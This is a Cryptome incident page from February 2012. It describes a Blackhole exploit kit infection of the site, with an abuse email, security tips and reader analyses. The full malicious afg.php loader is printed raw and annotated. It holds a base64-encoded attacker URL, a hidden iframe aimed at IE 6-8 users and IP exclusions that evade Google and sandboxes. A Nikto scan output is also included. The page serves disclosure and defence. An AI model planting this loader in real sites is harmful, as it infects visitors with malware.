Donate for the Cryptome archive of files from June 1996 to the present

21 February 2012: @cryptomeorg: @threatpost No reports of the BH exploit on Cryptome being discovered since 1st report. We cannot duplicate that. Sterile germ? Need cases [of BH infection]: cryptome[at]earthlink.net.

http://www.google.com/safebrowsing/diagnostic?site=http://cryptome.org

[Image]

14 February 2012. 16:30GMT: Cryptome 100% restored with 70,000 clean files. The Blackhole malware was removed on 12 February 2012. Apparently, according to the malware and its log file, only users of MS IE 6.0, 7.0 and 8.0 (not 9.0) were targeted, bad enough.

14 February 2012: Technical Notes: Malware Found on Cryptome:

http://blog.cyberwar.nl/2012/02/technical-notes-malware-found-on.html

14 February 2012. 16:30GMT: Cryptome 100% restored with clean files. The Blackhole malware was removed on 12 February 2012. Apparently, according to the malware, only users of MS IE were targeted, bad enough.

14 February 2012. Cryptome request via a security researcher:

"The Blackhole exploit php code places an iframe to http://65.75.137.243/Home/index.php. This "index.php" then tries to exploit and sends the .exe to the victim, so the .exe never was on your box, only on 65.75.137.243. This server doesn't respond on any protocol or ports, so it might be down. They also changed their reverse DNS record to ip-65-75-137-243.local; ".local" domains are meant to be unresolvable, these guys have obviously something to hide. Maybe the antivirus of some visitors have placed the .exe in quarantine and they could mail you a sample." cryptome[at]earthlink.net

Related: 

To: doug[at]softwareworksgroup.com
From: John Young
Subject: Abuse Inquiry
Date: 10:38AM 2/14/2012
cc: Threat Intel <Threat.Intel[at]Symantec.com>

Douglass Hanna
SoftwareWorks Group, Inc.
445 Nimitz Avenue
Redwood City, CA 94061
Phone:  +1-404-865-1095

Dear Mr. Hanna,

On February 7-8, 2012 our site Cryptome.org had a Blackhole 
Exploit Kit inserted which linked to a server with one of your 
IP addresses:

65.75.137.243

This server doesn't respond on any protocol or ports.
The user also changed their reverse DNS record to 
ip-65-75-137-243.local, so the user may be trying to hide.

Would you be able to provide information on the user of your 
IP address. Or whether that address was used as a conduit
to another server.

An account of the hack is here:

http://cryptome.org/2012/01/cryptome-virus.htm

Thanks very much,

John Young
Administrator
Cryptome.org
212-873-8700

______

To: John Young
Subject: [#omitted]: Abuse Inquiry
Date: Tue, 14 Feb 2012 10:41:51 -0500
Message-ID: <lze3lr.kedpsn[at]localhost>
From: "Abuse" <doug[at]softwareworksgroup.com>

John Young,

Thank you for contacting us. This is an automated response confirming the receipt 
of your ticket. One of our agents will get back to you as soon as possible. For 
your records, the details of the ticket are listed below. When replying, please 
make sure that the ticket ID is kept in the subject line to ensure that your 
replies are tracked appropriately.

	Ticket ID: omitted
	Subject: Abuse Inquiry
	Department: Abuse
	Priority: High
	Status: Open

You can check the status of or reply to this ticket online at: 
http://help.seowebhosting.net/index.php?_m=tickets_a=viewticket&ticketid=omitted

	E-mail: omitted
	Password: omitted

Kind regards,

SEO Web Hosting   

14 February 2012. A6 sends analysis of PHP malware.

14 February 2012. Suggestions for website protection:

http://nakedsecurity.sophos.com/2012/02/14/cryptome-org-hacked-into-serving-up-blackhole-exploit-kit/

Maintaining a secure online presence is not easy, but there are some thing you should think about if you operate a web site.
  • Reduce the threat surface. Don't load WebDAV, Frontpage, PHP/Perl/Python/Ruby or any other module into your web server that you aren't actively using. The less moving parts you have, the harder it is to break.
  • Turn off debugging and server status pages. Many sites are happy to tell you precisely what software is installed and enabled on the server allowing attackers to precisely exploit known vulnerabilities.
  • Stop using FTP. It's dead, okay? Unencrypted passwords, communications channels that are not firewall/NAT friendly, etc, etc. Use a secure protocol for publication like SCP or SFTP, preferably with protected keys rather than passwords.
  • Consider using a version control system like Git or CVS to publish and monitor your sites. Not only can you easily undo mistakes, but recovering from an incident is often easier.
  • Watch your logs carefully and consider using tools that can block known attack patterns like a web application firewall.

Owning a web site is like owning a home. It comes with the responsibility of maintenance and care to keep it in tip-top shape. Unfortunately it also comes with a bit of liability if you don't invest the necessary time.

13 February 2012. Because every HTML file examined has the malware Script, a complete restoration of Cryptome with clean files is underway. Should be completed by the end of today.

13 February 2012. Symantec description of Blackhole Toolkit Website 12. Symantec has offered to investigate the hack. Symantec says it added the attacker URL, 65.75.137.243, to its malware list on 7 February 2012.

13 February 2012. A2 sends comments and later correction. A3 sends comments. Add notes on finding all Cryptome HTML files infected. A4 sends comments. A5 sends comments and a scan of Cryptome.

13 February 2012. A sends comments on the PHP file below.

12 February 2012

Cryptome Infected with Blackhole Toolkit Website 12

A reader reported today that accessing a file on Cryptome caused this intrusion warning:

[Image]

Cryptome examined the file to find this command at its end: 

<SCRIPT src="/0002/afg/afg.php"></SCRIPT>

It was found that the ../0002/afg/afg.php file was added on 8 February 2012 to an existing ../0002/afg/ directory along with a new directory ../0002/afg/main which contained 2,863 IP addresses ending with .log, for example: 

2.102.110.159.log
184.96.244.216.log

These IP.log addresses had been accumulated from 8 February 2012 through 12 February 2012.

After copying, the ../0002/afg/ directory it was deleted.

Further examination of Cryptome files found that on 8 February 2012 every HTML file in the Cryptome main directory, about 6,000, had <SCRIPT src="/0002/afg/afg.php"></SCRIPT> added at the end.

(13 Feb 2012) The 6,000 contaminated files have been replaced with clean files although there may be others not yet found in other directories.

(13 Feb 2012) 5,000 more files found infected, still checking, but it looks as though every HTML file on Cryptome was infected. Sneaky: files inside directories and sub-directories were changed to add the SCRIPT with date of change but without changing the directory date. Not clear how access was gained through our ISP. Access logs do not show the infection activity. Any ideas how that was done and how to prevent recurrence: cryptome[at]earthlink.net

Replacement with clean files is proceeding, probably done by end of day.

Meanwhile a 404 is produced by the deletion of the Script file: 

GET /0002/afg/afg.php HTTP/1.1" 404 575 "http://cryptome.org/archsec.htm

Cryptome would appreciate information on what the operation of the afg.php file (below) was doing: cryptome[at]earthlink.net.

A sends 13 February 2012: 

Although I'm not a full fledged security researcher, I could shed some 
light on the script that you found on your server.

The basic program flow goes like this when a client loads the script (in 
your case every time anyone visits one of your pages):
1. the client IP address is compared against a list (net_match(...)) and 
if it falls within the range of the list it is in scope
2. the client OS is determined and if it is a windows machine, it is in 
scope
3. the client browser is determined and if it is a internet explorer 
(6.0 until 8.0) it is in scope
4. if the client is in scope (i.e. all three of the previous are true), 
a file is created on your webserver (empty text file), the filename is 
the IP address of the client (probably for later retrieval)
5. an iFrame is loaded in the browser of the client that will be 
impossible to see (width and height of 1 pixel) and that iframe points 
to the webpage of 'http://65.75.137.243/Home/index.php'

After step 5 probably the browser is under attack and it will probably 
be a successful attack since the attackers knows the client to be a 
windows machine running an internet explorer browser, my guess would be 
that the client is now infected and part of a botnet to be used in other 
attacks.

The IP address of the attacker is a webserver for the domain 

http://absolutely-free-meeting.com, I'm not sure they have anything to 
do with this attack, probably they are a comprimised server like your 
webserver was compromised.

The WHOIS information for this domain is registered by godady and I 
include their data and the registrants data below, it would be best to 
contact both so that they can clean up their server also.

Conclusion:
1. your webserver was compromised and a file was uploaded (the attacking 
script)
2. the attacker was only interested in certain IP address (probably only 
a certain location)
3. the clients that are infected are infected from another web server 
(no idea why since that attack script could have been put on your 
webserver also)

I do not know how much confidence you have in law enforcement to help 
you but I would suggest you involve them or someone you know with some 
security skills, if you would have left the list of client IP's that 
were compromised you could have seen who tried to download that list, 
I'm not sure that would have lead to anything because the attacker is 
hiding behind several compromised servers but he is also human so he 
might have made a mistake at one point.

It will be difficult to notify the compromised clients since all you 
have is their IP address.

Good luck in securing your server and replacing the content with the 
original content.




A2 comments 13 February 2012:

A2 sends a correction:

Reading php scripts without running them can lead to wrong
conclusions. Sorry for the previous conclusion - this script excluded
google server to avoid detection and blacklisting in most modern
browsers.

This was a very well targeted attack. Almost all IP classes targeted
belong to Google...

net_match('64.233.160.0/19',$ip)==0 &&  GOOGLE
net_match('66.102.0.0/20',$ip)==0 && GOOGLE-2
net_match('66.249.64.0/19',$ip)==0 && GOOGLE
net_match('72.14.192.0/18',$ip)==0 && GOOGLE
net_match('74.125.0.0/16',$ip)==0 && GOOGLE
net_match('89.207.224.0/24',$ip)==0 && Google Ireland Limited
net_match('193.142.125.0/24',$ip)==0 && GOOGLE-CORP
net_match('194.110.194.0/24',$ip)==0 &&  GOOGLE-CORP
net_match('209.85.128.0/17',$ip)==0 && GOOGLE
net_match('216.239.32.0/19',$ip)==0 && GOOGLE
net_match('128.111.0.0/16',$ip)==0 && University of California, Santa Barbara
net_match('67.217.0.0/16',$ip)==0 && many companies
net_match('188.93.0.0/16',$ip)==0 many companies




A3 comments 13 February 2012:

Hi Cryptome, (CC to Dutch National Cyber Security Center)

The afg.php "Blackhole Virus" you disclosed is a nearly-exact copy of
the code posted at these locations:

1) http://pastebin.com/kJJ7CAx8 by guest op March 10th 2011
2) https://gist.github.com/1014489 by varikin June 8th 2011
3) http://pastie.org/2037665/wrap by ? on June 8th 2011

'Your' version, afg.php, opens http://65.75.137.243/Home/index.php (as A
reported to you). The above three snippets open
http://129.121.40.41/Home/index.php in stead. For line-by-line diff, see
[1]. Notably, all versions I found so far contain the exact same set of
IP ranges that indeed mostly belong to Google as reported by A2.

64.233.160.0/19	=> Google Inc. GOOGLE (NET-64-233-160-0-1)
66.102.0.0/20	=> Google Inc. GOOGLE-2 (NET-66-102-0-0-1) 66.249.64.0/19
=> Google Inc. GOOGLE (NET-66-249-64-0-1) 72.14.192.0/18	=> Google Inc.
GOOGLE (NET-72-14-192-0-1)
74.125.0.0/16	=> Google Inc. GOOGLE (NET-74-125-0-0-1) 89.207.224.0/24
=> (part of) Google Ireland Limited (IE-GOOGLE-20060712)
193.142.125.0/24 => Google Zurich (GOOGLE-CORP)
194.110.194.0/24 => Google London (GOOGLE-CORP)
209.85.128.0/17 => Google Inc. GOOGLE (NET-209-85-128-0-1)
216.239.32.0/19 => Google Inc. GOOGLE (NET-216-239-32-0-1)
128.111.0.0/16  => University of California, Santa Barbara UCSB
(NET-128-111-0-0-1)

For the 67.217/16 and 188.93/16 ranges I performed a Whois lookup via
whois.cymru.com for each /24 block, i.e., 67.217.0-255.0/24 and
188.93.0-255.0/24. Please find attached the resulting list. Note that
this list is incomplete because 1) I did not check for possible IP space
(sub)assignments smaller than /24 (that would server-hog
whois.cymru.com) and 2) there are several IPs in there that
whois.cymru.com did not / could not map no any known AS/organization.

Off-topic: modusys.nl, that Dutch vendor in The Hague that hosted a file
that was retrieved by the malware linked to from the fake Stratfor
document you temporarily hosted is known offline for reasons yet unknown
to me. They did not respond to my Feb 4th e-mail question about
/images/scfg1.bin, but did answer the phone when I called two hours ago.
I will be contacting them again in a few hours, when the relevant person
has returned to office. I'll keep you updated.

Regards,

[1]
Having
a = http://pastebin.com/kJJ7CAx8 (visited Feb 12th 2012)
b = your afg.php, then

$ diff a b

0a1,2
> <?
>
48c50
< $IP = "{$_SERVER[REMOTE_ADDR]}.log";
---
> $IP = $_SERVER['REMOTE_ADDR'].".log";
52c54
< touch ("/tmp/x86/{$IP}");
---
> touch ("./main/{$IP}");
54c56
<
---
> @mkdir('main');
58c60
< if(!file_exists("/tmp/x86/{$IP}")) return true;
---
> if(!file_exists("./main/{$IP}")) return true;
60c62
< $drgk=base64_decode('aHR0cDovLzEyOS4xMjEuNDAuNDEvSG9tZS9pbmRleC5waHA=');
---
>
$dfjgkbl=base64_decode('aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=');
69c71
< echo '<iframe frameborder=0 src="'.$drgk.'" width=1 height=1
scrolling=no></iframe>';
---
> echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'"
width=1 height=1 scrolling=no></iframe>\');';

http://cryptome.org/2012/01/IP_whois.cymru.com.txt




A4 sends comments 13 February 2012:

Maybe I can shed some light on the other exclusions.
net_match('128.111.0.0/16',$ip)==0 && // This line excludes Anubis and
Wepawet, which are online analysis tools (pass it an exe, it will run
it and spit out a report of anything that program tries to do. Same
with URLs) - anubis.cs.ucsb.edu and nearby hosts

Do you have any malware on your own computer? Do you use FTP to access
your site? (if so, don't. use ssh/scp)  A huge amount of malware
plants I've seen is when the site owner or anyone with legitimate
access gets infected, then credentials are stolen out of the network
stream and "saved password" files




A5 sends comments 13 February 2012:

I have a lot of ISP dedicated server support experience and have seen
similar attacks to what cryptome has been exposed to:  1. worm infects
server  2. infected server looks for more targets 3. goto # 1

It looks to me like a worm was going around and found a way to exploit
your webdav configuration to modify all your files with the infected
php include -- meaning they did not get full control of the server
(root).  This is a good thing.

I ran a scan of cryptome (apologies) and got these results below.
You can get more info on the reported items at http://osvdb.org/

Nothing too crazy looking to my eye:

---
- Nikto v2.1.4/2.1.5
+ Target Host: cryptome.org
+ Target Port: 80
+ GET /robots.txt: robots.txt contains 94 entries which should be
manually viewed.
+ GET /: ETag header found on server, inode: 20536189, size: 47465,
mtime: 0x4b8d744e549e5
+ HEAD /: FrontPage/5.0.2.2635 appears to be outdated (current is at
least 5.0.4.3) (may depend on server version)
+ GET /: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ GET /: FrontPage -

http://www.insecure.org/sploits/Microsoft.frontpage.insecurities.html
+ OSVDB-396: GET /_vti_bin/shtml.exe: /_vti_bin/shtml.exe: Attackers
may be able to crash FrontPage by requesting a DOS device, like shtml
.exe/aux.htm -- a DoS was not attempted.
+ OSVDB-28260: POST
/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611:
/_vti_bin/shtml.dll/_vti_rpc?method=server+vers
ion%3a4%2e0%2e2%2e2611: Gives info about server settings.
CVE-2000-0413, CVE-2000-0709, CVE-2000-0710, BID-1608, BID-1174.
+ OSVDB-28260: POST
/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611:
/_vti_bin/shtml.exe/_vti_rpc?method=server+vers
ion%3a4%2e0%2e2%2e2611: Gives info about server settings.
+ OSVDB-3092: POST
/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&
service%5fname=&listHiddenDocs=true&listExplorer
Docs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=
true&listIncludeParent=true&listDerivedT=false&listBorders=fals:
/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706
&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecur
se=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=
true&listDerivedT=false&listBorders=fals:
We seem to have authoring access to the FrontPage web.
+ OSVDB-847: GET /file/../../../../../../../../etc/:
/file/../../../../../../../../etc/: The Icecast server allows the file
system to be probed for directory structure, but does not allow arbitrary 
file retrieval.
+ OSVDB-13405: GET /WS_FTP.LOG: /WS_FTP.LOG: WS_FTP.LOG file was
found. It may contain sensitive information.
+ OSVDB-3092: GET /info/: /info/: This might be interesting...
+ OSVDB-3092: GET /cgi-bin/search.pl: /cgi-bin/search.pl: This might
be interesting...
+ OSVDB-3093: GET
/cgi-bin//_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15:
/cgi-bin//_vti_bin/fpcount.exe?Page=default.htm|Image
=3|Digits=15: This might be interesting... has been seen in web logs
from an unknown scanner.
+ OSVDB-3233: GET /_vti_bin/shtml.exe/_vti_rpc:
/_vti_bin/shtml.exe/_vti_rpc: FrontPage may be installed.

+ OSVDB-3268: GET /icons/: /icons/: Directory indexing found.
+ OSVDB-3233: GET /icons/README: /icons/README: Apache default file found.
+ OSVDB-3092: GET /cn/: /cn/: This might be interesting... potential
country code (China)
---




A6 sends 14 February 2012:

I am sorry to hear what had happened to you, so I am here to help any way I can.  
I am no PHP expert but I ran through the code, and I think I have a pretty good 
analysis of the PHP code that you guys have found on your web page.

Couple of interesting remarks:

@mkdir('main');    interesting he/she was smart enough to suppress errors on 
subsequent calls
$OOOOO0000 from the detect_brows function is never used anywhere else in this php 
file, yet is defined as global. maybe part of the bigger picture and may have to 
do with the iFrame's web page it adds to the client's web page 
my guess for above is either an inexperienced php coder, or a 'script kiddie', 
or it really is part of the bigger picture

net_match should be reviewed again, I just did a quick disassembly of it and it 
may be that I did not test a case that would cause a 0 or a non-0 to be returned

Hope this helps and good luck getting rid of it, it seems like a pain, and probably 
is having to make a script clear all what 6000+ html files that it infected, plus 
you gotta find the hole he/she got in with.  Old version of a plugin? Using FTP? 
Ex-employee? 
  
Here is the annotated version of the PHP file --  afg.php:

<?
// checks to see if the ip address is part of a subnet of the $network parameter
// I believe since the ip addresses seems to be mostly Google's, that this is trying 
// to hide it from google, by NOT adding the iFrame to the client's browser window 
// if it came from an IP address that looks like it could be Googles
function net_match ( $network , $ip ) {
    // split on the '/', then $ip_arr[0] contains everything before the '/' and,
    // $ip_arr[1] contains everything after the '/'
    $ip_arr = explode ( '/' , $network );
    // returns the number equivalent of the ip dotted address
    $network_long = ip2long ( $ip_arr [ 0 ]);
    // x is simply assigned everything after the '/'
    $x = ip2long ( $ip_arr [ 1 ]);
    // long2ip ( $x ) makes a full IPv4 address out of the number, so in all of 
    // these cases if $x is 19,
    // then long2ip( $x) would equal 0.0.0.19
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    // get the number equivalent of the ip address of the client's machine
    $ip_long = ip2long ( $ip );
    // check to see if the client's ip address is the same as the beginning of the 
    // $network ip address.
    // IE: $network = 64.233.160.0/19; $ip = 127.0.0.1, returns 0.
    //     $network = 64.233.160.0/19; $ip = 64.233.160.100, DOES NOT return 0
    //     $network = 64.233.160.0/19; $ip = 64.233.161.100, DOES NOT return 0
    //     $network = 64.233.160.0/19; $ip = 64.232.161.100, returns 0.  
    return ( $ip_long & $mask ) == ( $network_long & $mask );
}


// check to see if the client's ip address is the same as the beginning of the $network 
// ip address.
// IE: $network = 64.233.160.0/19; $ip = 127.0.0.1, returns 0.
//     $network = 64.233.160.0/19; $ip = 64.233.160.100, DOES NOT return 0
//     $network = 64.233.160.0/19; $ip = 64.233.161.100, DOES NOT return 0
//     $network = 64.233.160.0/19; $ip = 64.232.161.100, returns 0.

function net()
{
    // note this is a local variable, not the global($IP) which would be the 
    // client's ip address with ".log" appended to the end
    $ip=$_SERVER['REMOTE_ADDR'];

    if(net_match('64.233.160.0/19',$ip)==0 &&
    net_match('66.102.0.0/20',$ip)==0 &&
    net_match('66.249.64.0/19',$ip)==0 &&
    net_match('72.14.192.0/18',$ip)==0 &&
    net_match('74.125.0.0/16',$ip)==0 &&
    net_match('89.207.224.0/24',$ip)==0 &&
    net_match('193.142.125.0/24',$ip)==0 &&
    net_match('194.110.194.0/24',$ip)==0 &&
    net_match('209.85.128.0/17',$ip)==0 &&
    net_match('216.239.32.0/19',$ip)==0 &&
    net_match('128.111.0.0/16',$ip)==0 &&
    net_match('67.217.0.0/16',$ip)==0 &&
    net_match('188.93.0.0/16',$ip)==0 )
        return true;
}

// determines if the client(web browser) is running under windows.  Presumably 
// this only works on windows machines
function detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}
// calls the above function
detect_os();


// determines if this IE6, IE7 or IE8, apparently these are the only vulnerable 
// IE versions
// what is interesting is $OOOOO0000 is never used anywhere else in this php file
function detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
        preg_match("/MSIE 7.0/", $user_agent) OR
        preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
}
// calls the above function
detect_brows();

// gets the remote client(web browser) ip address that is connecting to this server
$IP = $_SERVER['REMOTE_ADDR'].".log";

// adds the file: main/xxx.xxx.xxx.xxx.log on the system
function _log()
{ 
    global $IP;
    touch ("./main/{$IP}");
}

// make directory 'main', supress errors generated (by subsequent calls most likely, 
// should work the first time). No need for extra args, windows ignores the mode, and 
// no need for recursion
@mkdir('main');  

// checks to see if the file:  main/xxx.xxx.xxx.xxx.log is on the system already or not
function _check()
{
    global $IP;
    if(!file_exists("./main/{$IP}")) 
        return true;
}

// Gets the url you guys have already found:  'http://65.75.137.243/Home/index.php'
$dfjgkbl=base64_decode('aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=');

// Only runs if the ip address of this web client is not already infected.  if it is 
// infected the file will exist and this will fail
if(_check())
{
    // I blieve this check is to make sure this client isn't a google robot/spider 
    //crawling the web
    if(net())
    {
        // Only run on a Windows machine, found before in detect_os()
        if($os)
        {
            // Make sure this is an IE browser (version 6,7 or 8)
            if($OOOOOO000 == "MSIE")
            {
            // adds a very small 1x1 pixel iFrame onto the web page where the source 
            // is the base64 encoded web page decoded before:  
            // 'http://65.75.137.243/Home/index.php'. Presumably this is where the exploit is
            echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" 
            width=1 height=1 scrolling=no></iframe>\');';
            // calls the _log function to mark this client(web browser) as being infected

            _log();
            }
        }
    }
}




The afg.php file:
	    

<?

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}

function net()
{
$ip=$_SERVER['REMOTE_ADDR'];

if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)
return true;
}

function detect_os() {
global $os;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}detect_os();


function detect_brows() {
global $OOOOO0000, $OOOOOO000;
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
) $OOOOOO000 = "MSIE";
}detect_brows();

$IP = $_SERVER['REMOTE_ADDR'].".log";

function _log()
{ global $IP;
touch ("./main/{$IP}");
}
@mkdir('main');
function _check()
{
global $IP;
if(!file_exists("./main/{$IP}")) return true;
}
$dfjgkbl=base64_decode('aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=');
if(_check())
{
if(net())
{
if($os)
{
if($OOOOOO000 == "MSIE")
{
echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 
scrolling=no></iframe>\');';

_log();

}}}}